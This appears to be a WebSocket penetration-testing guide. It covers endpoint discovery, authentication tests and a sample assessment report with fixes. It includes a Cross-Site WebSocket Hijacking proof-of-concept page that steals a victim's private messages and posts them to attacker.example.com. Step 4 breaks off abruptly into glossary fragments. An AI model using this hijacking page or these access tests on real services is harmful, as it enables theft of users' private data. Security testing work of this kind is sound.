Python websockets: For scripting custom WebSocket attacks (pip install websockets)
Workflow
Step 1: Discover and Enumerate WebSocket Endpoints
Identify WebSocket connections in the application.
# Check for WebSocket upgrade in response headers
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com/ws"
# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
/chat /notifications /live /stream /realtime /api/ws; do
echo -n "$path: "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com$path")
echo "$status"
done
# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"
# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"
# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames
Step 2: Test WebSocket Authentication
Verify that WebSocket connections require proper authentication.
# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing
# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=invalid_or_expired_token"
# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_from_another_user"
# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"
# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out
# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets
async def test_no_auth():
try:
async with websockets.connect("wss://target.example.com/ws") as ws:
print("Connected WITHOUT authentication!")
# Try sending a message
await ws.send('{"type":"get_data","resource":"users"}')
response = await ws.recv()
print(f"Response: {response}")
except Exception as e:
print(f"Connection failed: {e}")
asyncio.run(test_no_auth())
PYEOF
Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)
Check if the WebSocket handshake is vulnerable to cross-site attacks.
# Check Origin header validation on WebSocket upgrade
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://evil.example.com" \
"https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working
<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Host on attacker-controlled server -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// This connects to the target's WebSocket using the victim's cookies
var ws = new WebSocket("wss://target.example.com/ws");
ws.onopen = function() {
console.log("WebSocket connected (using victim's session)");
// Request sensitive data through the WebSocket
ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
ws.send(JSON.stringify({type: "get_profile"}));
};
ws.onmessage = function(event) {
console.log("Data stolen: " + event.data);
document.getElementById("messages").innerText += event.data + "\n";
// Exfiltrate to attacker server
fetch("https://attacker.example.com/collect", {
method: "POST",
body: event.data
});
};
ws.onerror = function(error) {
console.log("WebSocket error: " + error);
};
</script>
</body>
</html>
Step 4: Test WebSocket Message Injection
Assess WebSocket messages for injection vulnerabilities.
Server-side check that the WebSocket upgrade request comes from a trusted origin
Message-level Authorization
Verifying permissions for each WebSocket message, not just at connection time
WSS
WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS)
Socket.IO
Popular WebSocket library with automatic fallback to HTTP long-polling
Ping/Pong Frames
WebSocket keepalive mechanism; can be abused for timing attacks
Tools & Systems
Tool
Purpose
Burp Suite Professional
WebSocket interception, modification, and history analysis
wscat
Command-line WebSocket client for manual testing
websocat
Versatile command-line WebSocket client written in Rust
Browser DevTools
Network tab WS filter for inspecting WebSocket frames
Socket.IO Client
Testing Socket.IO-based WebSocket implementations
Python websockets
Scripting automated WebSocket attack sequences
Common Scenarios
Scenario 1: Chat Application CSWSH
A real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.
Scenario 2: Trading Platform Message Injection
A trading platform processes WebSocket messages containing order parameters. SQL injection in the symbol field of an order message allows extracting the entire order database through error-based SQLi.
Scenario 3: Missing Message Authorization
A collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.
Scenario 4: Notification Channel IDOR
A notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.
Output Format
## WebSocket Security Assessment Report
**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)
**Severity**: High (CVSS 8.1)
**Location**: wss://target.example.com/ws
**OWASP Category**: A01:2021 - Broken Access Control
### WebSocket Configuration
| Property | Value |
|----------|-------|
| Protocol | WSS (encrypted) |
| Library | Socket.IO 4.x |
| Authentication | Cookie-based session |
| Origin Validation | NOT ENFORCED |
| Message Authorization | NOT ENFORCED |
| Rate Limiting | NOT IMPLEMENTED |
### Findings
| Finding | Severity |
|---------|----------|
| CSWSH - No Origin validation | High |
| Missing message-level authorization | High |
| XSS via chat message injection | Medium |
| No rate limiting on messages | Medium |
| Channel IDOR (subscribe to any channel) | High |
| WebSocket open after logout | Medium |
### Impact
- Private message exfiltration via CSWSH
- Account impersonation through unauthorized message sending
- Cross-channel data access affecting all users
- DoS via message flooding (no rate limits)
### Recommendation
1. Validate the Origin header during WebSocket handshake
2. Implement CSRF tokens in the WebSocket upgrade request
3. Enforce authorization checks on every WebSocket message
4. Sanitize all user input in WebSocket messages (prevent XSS/SQLi)
5. Implement message rate limiting per connection
6. Invalidate WebSocket connections on logout or session expiration
7. Use per-message authentication tokens rather than relying solely on the initial handshake